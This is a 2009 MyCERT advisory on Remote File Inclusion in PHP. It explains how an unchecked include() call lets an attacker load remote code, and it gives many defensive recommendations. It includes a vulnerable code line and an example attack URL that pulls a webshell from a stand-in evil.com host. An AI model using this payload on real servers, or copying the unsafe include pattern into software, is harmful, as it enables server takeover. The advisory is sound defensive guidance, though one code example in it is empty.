Remote File Inclusion (RFI) Vulnerabilities

1) Introduction

Remote file inclusion or commonly known as RFI is a form of attack where the attacker try to inject their own code inside the web applications. If an attacker can successfully achieve this, they will be able to execute any code they wish on the web server. Although this attack can be considered as an old threat, but the widely use of RFI nowadays bring a bigger impact which usually lead the compromised web servers to become botnet.

2) Causes

For instance, a piece of vulnerable PHP code would look like this:

include($page . '.php');

This line of PHP code is then used in URLs like the following example:

• http://www.example.com/index.php?page=archive

Because the $page variable is not specifically defined, an attacker can insert the location of a malicious file into the URL and execute it on the target server as in this example:

• http://www.example.com/index.php?page=http://www.evil.com/shell.php?

The include() function above instructs the server to retrieve shell.php from the remote server and run its code. This is possible because PHP allows the user to load both remote and local content with the same functions. The code sample above does not perform any checks on the content of the $page variable, it blindly passes it to the function. Because the original piece of code appended .php to the file it would try to fetch the following URL

• http://www.evil.com/shell.php.php

As the attacker unable to recognize the original code might append, they put a question mark at the end of the URLs. This makes the script fetch the intended file, with the appended string as a parameter (which is ignored by the attacker's script):

• http://www.evil.com/shell.php?.php

This allows the attacker to include any remote file of his choice simply by editing the URL. Attackers commonly include a malicious PHP script called a webshell, also known as a PHP shell. A webshell can display the files and folders on the server and can edit, add or delete files, among other tasks. Scripts that send Spam are also very common. Potentially, the attacker could even use the webshell to gain administrator-level, or root, access on the server.

3) Recommendation

Preventing remote file include flaws takes some careful planning at the architectural and design phases, through to thorough testing. In general, a well-written application will not use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions), and will have firewall rules in place preventing new outbound connections to the Internet or internally back to any other server. However, many legacy applications will continue to have a need to accept user supplied input.

Among the most important considerations are:

• Use an indirect object reference map. For example, where a partial filename was once used, consider a hash of the partial reference. Instead of :

Use

• Consider using salts to prevent brute forcing of the indirect object reference. Alternatively, just use index values such as 1, 2, 3, and ensure that the array bounds are checked to detect parameter tampering.
  
  
• Use explicit taint checking mechanisms, if your language supports it. Otherwise, consider a variable naming scheme to assist with taint checking:

$hostile = &$_POST; // refer to POST variables, not $_REQUEST
$safe['filename']= validate_file_name($hostile['unsafe_filename']); // make it safe

• Therefore any operation based upon hostile input is immediately obvious:

WRONG: require_once($_POST['unsafe_filename'] . 'inc.php');
RIGHT: require_once($safe['filename'] . 'inc.php');

• Do not trust user input. Strongly validate them using "accept known good" as a strategy.
  
  
• Add firewall rules to prevent web servers making unnecessary new connections to external web sites and internal systems. For high value systems, isolate the web server in its own VLAN or private subnet.
  
  
• Check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other controls. Otherwise be obviated, tainting could include user supplied data in the session object, avatars and images, PDF reports, temporary files, and so on.
  
  
• Consider implementing a chroot jail or other sand box mechanisms such as virtualization to isolate applications from each other.
  
  
• PHP: Disable allow_url_fopen and allow_url_include in php.ini and consider building PHP locally to not include this functionality. Very few applications need this functionality and thus these settings should be enabled on a per application basis.
  
  
• PHP: Disable register_globals and use E_STRICT to find uninitialized variables
  
  
• PHP: Ensure that all file and streams functions (stream_*) are carefully vetted. Ensure that the user input is not supplied any function which takes a filename argument, including:

include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()

• PHP: Be extremely cautious if data is passed to exec() shell_exec() system() eval() passthru() or ' (the backtick operator).
  
  
• With J2EE, ensure that the security manager is enabled and properly configured and that the application is demanding permissions appropriately.
  
  
• With ASP.NET, please refer to the documentation on partial trust, and design your applications to be segmented in trust, so that most of the application exists in the lowest possible trust state possible.

4) References

• http://www.owasp.org/index.php/Top_10_2007-A3
• http://en.wikipedia.org/wiki/Remote_File_Inclusion
• https://blog.honeynet.org.my/?p=10
• http://lwn.net/Articles/203904/

Feedbacks can be directed to MyCERT.

Produced in 7th May 2009 by MyCERT, CyberSecurity Malaysia,
an agency under the Ministry of Science, Technology and Innovation (MOSTI).

Revision History:
Initial Release: 7th May 2009
Updated: 11th June 2009